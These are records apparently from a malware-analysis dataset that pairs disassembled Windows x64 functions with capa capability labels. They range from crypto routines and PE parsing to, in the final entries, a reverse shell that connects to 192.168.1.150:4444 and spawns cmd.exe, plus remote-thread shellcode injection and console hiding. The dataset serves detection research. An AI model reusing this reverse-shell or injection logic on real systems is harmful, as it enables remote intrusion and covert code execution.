joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000a140
Capabilities:
Encode data using xor
Encrypt data using aes
Reference aes constants

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x30
movaps xmmword [rax - 0x28], xmm6
mov r15, rcx
test r8, r8
je 0x14000a268
mov rdi, rcx
lea rbp, [r8 - 1]
sub rdi, rdx
shr rbp, 4
add rdi, 0xf0
lea rsi, [rdx + 9]
inc rbp
lea rbx, [rsi - 9]
mov r8, r15
movups xmm6, xmmword [rbx]
mov rdx, rbx
mov cl, 0xe
call fcn.14000a2b8
mov r14b, 0xd
mov al, byte [rsi]
mov rdx, rbx
mov cl, byte [rsi + 4]
mov r9d, 4
mov byte [rsi + 4], al
mov al, byte [rsi - 4]
mov byte [rsi], al
mov al, byte [rsi - 8]
mov byte [rsi - 4], al
mov al, byte [rsi + 1]
mov byte [rsi - 8], cl
mov cl, byte [rsi - 7]
mov byte [rsi - 7], al
mov al, byte [rsi + 5]
mov byte [rsi + 1], cl
mov cl, byte [rsi - 3]
mov byte [rsi - 3], al
mov al, byte [rsi - 2]
mov byte [rsi + 5], cl
mov cl, byte [rsi - 6]
mov byte [rsi - 6], al
mov al, byte [rsi + 2]
mov byte [rsi - 2], al
mov al, byte [rsi + 6]
mov byte [rsi + 2], al
mov byte [rsi + 6], cl
mov rcx, rdx
mov r8d, 4
movzx eax, byte [rcx]
lea r10, [0x140036600]
mov al, byte [rax + r10]
mov byte [rcx], al
lea rcx, [rcx + 4]
sub r8, 1
jne 0x14000a1f3
inc rdx
sub r9, 1
jne 0x14000a1ea
mov r8, r15
mov rdx, rbx
mov cl, r14b
call fcn.14000a2b8
test r14b, r14b
je 0x14000a23a
mov rcx, rbx
call fcn.14000a444
add r14b, 0xff
jmp 0x14000a19b
mov ecx, 0x10
mov al, byte [rdi + rbx]
xor byte [rbx], al
inc rbx
sub rcx, 1
jne 0x14000a23f
add rsi, 0x10
sub rdi, 0x10
movdqu xmmword [r15 + 0xf0], xmm6
sub rbp, 1
jne 0x14000a184
mov rbx, qword [rsp + 0x50]
xor eax, eax
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x30
pop r15
pop r14
pop rdi
ret
Function at 0x14000a2b8
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r14
sub rsp, 0x30
mov rax, qword [0x1400490f8]
xor ebx, ebx
movabs rax, 0xe26a4cae65987
movzx r11d, cl
mov qword [rsp + 0x68], rax
mov r14, r8
mov al, byte [0x1400490e8]
mov r10b, bl
mov byte [rsp + 0x68], al
mov rax, qword [0x1400490c8]
movzx eax, word [0x1400490d4]
mov word [rsp + 0x68], ax
mov eax, 0xffffd5c5
mov word [rsp + 0x68], ax
mov rax, qword [0x140049108]
mov qword [rsp + 0x28], rax
movsx eax, byte [str.h_tO]
mov word [rsp + 0x68], ax
mov eax, 0xffff9146
mov byte [rsp + 0x68], 0xc4
mov ebp, dword [0x1400490f0]
mov dil, byte [0x140049100]
mov word [rsp + 0x20], ax
movzx esi, word [0x1400490d4]
mov byte [rsp + 0x68], 0xdd
mov al, byte [0x140049046]
mov byte [rsp + 0x68], al
mov rax, qword [0x1400490c8]
mov eax, dword [0x140049054]
mov eax, dword [0x1400490f4]
mov dword [rsp + 0x68], eax
movzx eax, word [0x1400490bc]
mov eax, dword [0x1400490e4]
mov rax, qword [0x1400490f8]
mov eax, dword [0x1400490e4]
movzx eax, word [0x1400490e0]
movsx eax, byte [0x14004901f]
mov word [rsp + 0x68], ax
mov dword [rsp + 0x68], 0x3e3f
shl r11d, 2
movzx r8d, r10b
mov r9b, bl
add r8d, r11d
shl r8d, 2
movzx eax, r9b
inc r9b
add eax, r8d
mov cl, byte [rax + r14]
xor byte [rdx], cl
inc rdx
cmp r9b, 4
jb 0x14000a3bb
inc r10b
cmp r10b, 4
jb 0x14000a3ad
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
mov word [rsp + 0x68], ax
test dil, dil
je 0x14000a401
movsx rcx, byte [0x1400490bb]
mov rax, qword [0x1400490c0]
cmp rax, rcx
ja 0x14000a418
movsx ecx, word [rsp + 0x68]
movzx eax, bp
cmp ecx, eax
mov rax, qword [rsp + 0x28]
sete bl
cmp rbx, rax
je 0x14000a42e
movsx rcx, word [rsp + 0x20]
movzx eax, word [rsp + 0x20]
sub rcx, rsi
add ax, cx
mov word [rsp + 0x20], ax
mov rbx, qword [rsp + 0x50]
xor eax, eax
mov rbp, qword [rsp + 0x58]
add rsp, 0x30
pop r14
pop rdi
pop rsi
ret
Function at 0x140012594
Capabilities:
Encode data using xor

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 7]
sub rsp, 0xd8
mov rax, qword [0x1400499b8]
xor rax, rsp
mov qword [rbp - 0x11], rax
mov rax, qword [rbp + 0x87]
mov r14, r9
movdqa xmm0, xmmword [0x140036870]
mov rsi, r8
mov r15, qword [rbp + 0x6f]
mov rdi, rdx
mov r12, qword [rbp + 0x77]
mov rbx, rcx
mov r13, qword [rbp + 0x7f]
mov qword [rbp - 0x69], rax
mov rax, qword [rbp + 0x8f]
mov qword [rbp - 0x71], rax
mov eax, 0xd170
mov word [rsp + 0x50], ax
mov eax, 0x82
mov word [rsp + 0x50], ax
movzx eax, word [0x14004945c]
mov al, byte [0x1400493d7]
movsx eax, byte [0x1400493b7]
mov word [rsp + 0x50], ax
movzx eax, word [0x14004947c]
mov word [rsp + 0x50], ax
mov dword [rsp + 0x50], 0x18
mov byte [rsp + 0x50], 0xf9
mov rax, qword [0x1400494a0]
mov byte [rsp + 0x50], 0x7f
movzx eax, byte [str.7Expression]
mov dword [rsp + 0x50], eax
movzx eax, word [0x140049460]
mov byte [rsp + 0x50], al
mov rax, qword [0x140049470]
mov qword [rsp + 0x50], rax
movzx eax, word [0x140049468]
mov word [rsp + 0x50], ax
mov al, byte [0x140049448]
mov dword [rsp + 0x50], 0x9d
mov byte [rsp + 0x50], 0x67
mov byte [rsp + 0x50], al
mov rax, qword [0x140049490]
mov eax, dword [0x140049484]
mov word [rsp + 0x50], ax
mov rax, qword [0x1400494a0]
mov dword [rsp + 0x50], eax
xor eax, eax
mov byte [rbp - 0x19], al
movdqu xmmword [rbp - 0x31], xmm0
mov dword [rbp - 0x21], 0x97979791
mov dword [rbp - 0x1d], 0x9f9f9f9f
xor byte [rbp + rax - 0x31], 0xfa
inc rax
cmp rax, 0x18
jb 0x1400126bd
mov rax, qword [0x1400494b0]
lea rdx, [rbp - 0x79]
shl al, 3
lea rcx, [rbp - 0x31]
mov word [rbp - 0x79], 0x23ff
mov r8d, 2
mov byte [rsp + 0x50], al
call fcn.14001229c
mov qword [rbp - 0x61], rax
mov r9, r15
xor eax, eax
mov qword [rbp - 0x59], rbx
movups xmm0, xmmword [rbp - 0x61]
mov qword [rbp - 0x51], rax
mov r8, r14
mov rax, qword [rbp - 0x71]
mov rdx, rsi
movsd xmm1, qword [rbp - 0x51]
mov rcx, rdi
mov qword [rsp + 0x40], rax
mov rax, qword [rbp - 0x69]
mov qword [rsp + 0x38], rax
lea rax, [rbp - 0x49]
mov qword [rsp + 0x30], r13
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], rax
movups xmmword [rbp - 0x49], xmm0
movsd qword [rbp - 0x39], xmm1
call fcn.14000a100
mov rcx, qword [rbp - 0x11]
xor rcx, rsp
call fcn.1400267f0
add rsp, 0xd8
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
Function at 0x140025dbc
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rdi
push rbp
mov rbp, rsp
sub rsp, 0x80
mov rax, qword [0x1400499b8]
xor rax, rsp
mov qword [rbp - 0x10], rax
mov eax, 0x291e
mov rbx, rcx
mov word [rbp - 0x50], ax
lea rcx, [rbp - 0x28]
movzx eax, byte [0x1400498db]
mov rdi, rdx
mov word [rbp - 0x50], ax
mov qword [rbp - 0x50], 0x1f
mov rax, qword [0x140049980]
mov rax, qword [0x140049958]
mov byte [rbp - 0x50], 0x2a
mov qword [rbp - 0x50], rax
mov rax, qword [0x140049980]
mov byte [rbp - 0x50], al
mov eax, dword [0x140049968]
mov dword [rbp - 0x50], eax
mov al, byte [str.6CloudDomainHelper:]
mov eax, 0xe210d07c
mov qword [rbp - 0x50], rax
mov dword [rbp - 0x50], 0xa6d5cefe
mov rax, qword [0x140049970]
mov qword [rbp - 0x50], rax
mov eax, dword [0x140049944]
mov dword [rbp - 0x50], eax
movsx eax, word [0x140049920]
mov dword [rbp - 0x50], eax
movzx eax, word [0x140049940]
movzx eax, word [0x1400499a0]
mov word [rbp - 0x50], ax
movzx eax, byte [0x140049907]
mov dword [rbp - 0x50], 0x978371d7
mov dword [rbp - 0x50], eax
movzx eax, word [0x140049978]
movzx eax, word [0x140036bb8]
movups xmm0, xmmword [str.The_redirection_re]
mov word [rbp - 0x18], ax
mov al, byte [0x140036bba]
mov byte [rbp - 0x16], al
movups xmmword [rbp - 0x28], xmm0
call qword [sym.imp.KERNEL32.dll_lstrlenA]
movsxd rcx, eax
xor eax, eax
mov qword [0x140049980], rcx
mov ecx, eax
mov dword [rbp - 0x48], 0x8c8a91ae
mov dword [rbp - 0x44], 0xbe94998d
mov dword [rbp - 0x40], 0x9d9d8a
xor byte [rbp + rcx - 0x48], 0xf8
inc rcx
cmp rcx, 0xb
jb 0x140025ed4
mov dword [rbp - 0x38], 0x6c706369
mov dword [rbp - 0x34], 0x30316a63
mov dword [rbp - 0x30], 0x6a6a622c
mov byte [rbp - 0x2c], al
add byte [rbp + rax - 0x38], 2
inc rax
cmp rax, 0xc
jb 0x140025efa
mov r9, rbx
mov qword [rsp + 0x20], rdi
lea r8, [rbp - 0x48]
or rcx, 0xffffffffffffffff
lea rdx, [rbp - 0x38]
call fcn.14002453c
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.1400267f0
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x14002d39c
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14002d1c8
Function at 0x140011217
Capabilities:
Terminate process

Disassembly:
jmp 0x140016f60
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
add rsp, 0x28
ret
Function at 0x14001129e
Capabilities:
Parse pe header

Disassembly:
jmp 0x1400182b0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x1400182d0
xor al, al
jmp 0x140018351
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x1400182e3
xor al, al
jmp 0x140018351
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001830d
xor al, al
jmp 0x140018351
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140018321
xor al, al
jmp 0x140018351
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140018333
xor al, al
jmp 0x140018351
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001834f
xor al, al
jmp 0x140018351
mov al, 1
add rsp, 0x38
ret
Function at 0x140011ef0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov byte [rsp + 8], cl
push rbp
push rdi
sub rsp, 0x128
lea rbp, [rsp + 0x20]
lea rcx, [0x14002700e]
call fcn.1400113ac
nop
mov byte [rbp + 4], 0
jmp 0x140011f28
movzx eax, byte [rbp + 4]
inc al
mov byte [rbp + 4], al
movzx eax, byte [rbp + 4]
cmp eax, 4
jge 0x140011fad
mov byte [rbp + 0x24], 0
jmp 0x140011f40
movzx eax, byte [rbp + 0x24]
inc al
mov byte [rbp + 0x24], al
movzx eax, byte [rbp + 0x24]
cmp eax, 4
jge 0x140011fa8
movzx eax, byte [rbp + 4]
mov rcx, qword [rbp + 0x128]
lea rax, [rcx + rax*4]
movzx ecx, byte [rbp + 0x24]
movzx edx, byte [rbp + 0x120]
shl edx, 2
movzx r8d, byte [rbp + 4]
shl r8d, 2
lea edx, [r8 + rdx*4]
movzx r8d, byte [rbp + 0x24]
add edx, r8d
movsxd rdx, edx
mov r8, qword [rbp + 0x130]
movzx edx, byte [r8 + rdx]
movzx eax, byte [rax + rcx]
xor eax, edx
movzx ecx, byte [rbp + 0x24]
movzx edx, byte [rbp + 4]
mov r8, qword [rbp + 0x128]
lea rdx, [r8 + rdx*4]
mov byte [rdx + rcx], al
jmp 0x140011f37
jmp 0x140011f1f
lea rsp, [rbp + 0x108]
pop rdi
pop rbp
ret

Function at 0x140013650
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x128
lea rbp, [rsp + 0x20]
lea rcx, [0x14002700e]
call fcn.1400113ac
nop
mov byte [rbp + 4], 0
jmp 0x14001367f
movzx eax, byte [rbp + 4]
inc al
mov byte [rbp + 4], al
movzx eax, byte [rbp + 4]
cmp eax, 4
jge 0x1400136de
mov byte [rbp + 0x24], 0
jmp 0x140013697
movzx eax, byte [rbp + 0x24]
inc al
mov byte [rbp + 0x24], al
movzx eax, byte [rbp + 0x24]
cmp eax, 4
jge 0x1400136dc
movzx eax, byte [rbp + 0x24]
mov rcx, qword [rbp + 0x120]
lea rax, [rcx + rax*4]
movzx ecx, byte [rbp + 4]
movzx eax, byte [rax + rcx]
lea rcx, [0x14001ecb0]
movzx edx, byte [rbp + 0x24]
mov r8, qword [rbp + 0x120]
lea rdx, [r8 + rdx*4]
movzx r8d, byte [rbp + 4]
movzx eax, byte [rcx + rax]
mov byte [rdx + r8], al
jmp 0x14001368e
jmp 0x140013676
lea rsp, [rbp + 0x108]
pop rdi
pop rbp
ret
Function at 0x140016190
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x68
mov ecx, 1
call fcn.1400113d9
movzx eax, al
test eax, eax
jne 0x1400161b0
mov ecx, 7
call fcn.140011343
nop
mov byte [rsp + 0x20], 0
call fcn.140011357
mov byte [rsp + 0x21], al
cmp dword [0x1400228a8], 1
jne 0x1400161d4
mov ecx, 7
call fcn.140011343
nop
jmp 0x14001622c
cmp dword [0x1400228a8], 0
jne 0x140016227
mov dword [0x1400228a8], 1
lea rdx, [0x14001e660]
lea rcx, [0x14001e330]
call fcn.1400111bd
test eax, eax
je 0x140016208
mov eax, 0xff
jmp 0x140016331
lea rdx, [0x14001e220]
lea rcx, [section..rdata]
call fcn.14001134d
mov dword [0x1400228a8], 2
jmp 0x14001622c
mov byte [rsp + 0x20], 1
movzx ecx, byte [rsp + 0x21]
call fcn.14001132f
call fcn.1400112c1
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp qword [rax], 0
je 0x140016289
mov rcx, qword [rsp + 0x30]
call fcn.14001116d
movzx eax, al
test eax, eax
je 0x140016289
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x50], rax
xor r8d, r8d
mov edx, 2
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call qword [0x140028020]
nop
call fcn.1400112f8
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp qword [rax], 0
je 0x1400162bd
mov rcx, qword [rsp + 0x38]
call fcn.14001116d
movzx eax, al
test eax, eax
je 0x1400162bd
mov rax, qword [rsp + 0x38]
mov rcx, qword [rax]
call fcn.140011389
nop
call fcn.1400163e0
mov dword [rsp + 0x28], eax
call fcn.14001129e
movzx eax, al
test eax, eax
jne 0x1400162dc
mov ecx, dword [rsp + 0x28]
call fcn.140011055
nop
movzx eax, byte [rsp + 0x20]
test eax, eax
jne 0x1400162eb
call fcn.140011398
nop
xor edx, edx
mov cl, 1
call fcn.14001115e
mov eax, dword [rsp + 0x28]
jmp 0x140016331
add rsp, 0x68
ret
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x140004440]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x140004450]
mov dword [rax], 1
mov rax, qword [0x140004460]
mov dword [rax], 1
mov rax, qword [0x1400043c0]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x140004430]
mov dword [0x14000700c], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x140004500]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [0x1400044e0]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x1400043a0]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a

Function at 0x140001450
Capabilities:
Enumerate processes

Disassembly:
push rbp
sub rsp, 0x160
lea rbp, [rsp + 0x80]
mov edx, 0
mov ecx, 2
call sym.CreateToolhelp32Snapshot
mov qword [rbp + 0xd0], rax
mov dword [rbp - 0x60], 0x130
mov dword [rbp + 0xdc], 0
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0xd0]
mov rcx, rax
call sym.Process32First
test eax, eax
je 0x14000151a
mov dword [rbp + 0xd8], 0
jmp 0x1400014ef
mov eax, dword [rbp + 0xd8]
cdqe
lea rdx, [rax*8]
lea rax, section..data
mov rax, qword [rdx + rax]
lea rdx, [rbp - 0x60]
lea rcx, [rdx + 0x2c]
mov rdx, rax
mov rax, qword [sym.imp.msvcrt.dll__stricmp]
call rax
test eax, eax
jne 0x1400014e8
mov eax, dword [rbp - 0x58]
mov dword [rbp + 0xdc], eax
jmp 0x1400014fa
add dword [rbp + 0xd8], 1
mov eax, dword [rbp + 0xd8]
cmp eax, 2
jbe 0x1400014aa
cmp dword [rbp + 0xdc], 0
jne 0x14000151a
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0xd0]
mov rcx, rax
call sym.Process32Next
test eax, eax
jne 0x14000149e
mov rax, qword [rbp + 0xd0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, dword [rbp + 0xdc]
add rsp, 0x160
pop rbp
ret
Function at 0x14000153c
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
mov dword [rbp + 0x10], ecx
mov qword [rbp + 0x18], rdx
mov dword [rbp + 0x20], r8d
mov eax, dword [rbp + 0x10]
mov r8d, eax
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x14000157d
mov eax, 0
jmp 0x14000170b
mov rax, qword [rbp - 8]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0xc
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
jne 0x1400015cb
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
jmp 0x14000170b
mov rdx, qword [rbp - 0x10]
mov rax, qword [rbp - 8]
mov qword [rsp + 0x20], 0
mov r9d, 0xc
lea r8, [0x140003018]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
test eax, eax
jne 0x140001633
mov rdx, qword [rbp - 0x10]
mov rax, qword [rbp - 8]
mov r9d, 0x8000
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call rax
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
jmp 0x14000170b
mov rdx, qword [rbp - 0x10]
mov rax, qword [rbp - 8]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, rdx
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
call rax
mov qword [rbp - 0x18], rax
cmp qword [rbp - 0x18], 0
jne 0x1400016b1
mov rdx, qword [rbp - 0x10]
mov rax, qword [rbp - 8]
mov r9d, 0x8000
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call rax
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
jmp 0x14000170b
mov rax, qword [rbp - 0x18]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp - 0x18]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rdx, qword [rbp - 0x10]
mov rax, qword [rbp - 8]
mov r9d, 0x8000
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call rax
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 1
add rsp, 0x60
pop rbp
ret
Function at 0x1400017ec
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create process on windows
Create tcp socket
Create udp socket
Initialize winsock library

Disassembly:
push rbp
push rdi
mov eax, 0x1248
call fcn.140002b10
sub rsp, rax
lea rbp, [rsp + 0x80]
lea rax, [rbp + 0x1000]
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
lea rax, str.192.168.1.150
mov qword [rbp + 0x11b8], rax
mov dword [rbp + 0x11b4], 0x115c
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 6
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_WSASocketA]
call rax
mov qword [rbp + 0x11a8], rax
mov word [rbp + 0xff0], 2
mov eax, dword [rbp + 0x11b4]
movzx eax, ax
mov ecx, eax
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [rbp + 0xff2], ax
mov rax, qword [rbp + 0x11b8]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_inet_addr]
call rax
mov dword [rbp + 0xff4], eax
lea rdx, [rbp + 0xff0]
mov rax, qword [rbp + 0x11a8]
mov r8d, 0x10
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_connect]
call rax
cmp eax, 0xffffffff
je 0x1400019b1
lea rdx, [rbp - 0x30]
mov eax, 0
mov ecx, 0xd
mov rdi, rdx
rep stosq qword [rdi], rax
mov dword [rbp - 0x30], 0x68
mov dword [rbp + 0xc], 0x100
mov rax, qword [rbp + 0x11a8]
mov qword [rbp + 0x20], rax
mov rax, qword [rbp + 0x11a8]
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x11a8]
mov qword [rbp + 0x30], rax
lea rax, [rbp + 0xfd0]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x30]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 1
mov r9d, 0
mov r8d, 0
lea rax, str.cmd.exe
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
test eax, eax
je 0x1400019e2
mov rax, qword [rbp + 0xfd0]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp + 0xfd0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0xfd8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
jmp 0x1400019e2
call sym.find_target_process
mov dword [rbp + 0x11a4], eax
cmp dword [rbp + 0x11a4], 0
je 0x1400019e2
mov ecx, dword [rbp + 0x11b4]
mov rdx, qword [rbp + 0x11b8]
mov eax, dword [rbp + 0x11a4]
mov r8d, ecx
mov ecx, eax
call sym.inject_payload
mov rax, qword [rbp + 0x11a8]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
nop
add rsp, 0x1248
pop rdi
pop rbp
ret

Function at 0x140001a09
Capabilities:
Hide graphical window

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
call dbg.__main
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call rax
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
je 0x140001a3f
mov rax, qword [rbp - 8]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
call sym.reverse_shell
mov eax, 0
add rsp, 0x30
pop rbp
ret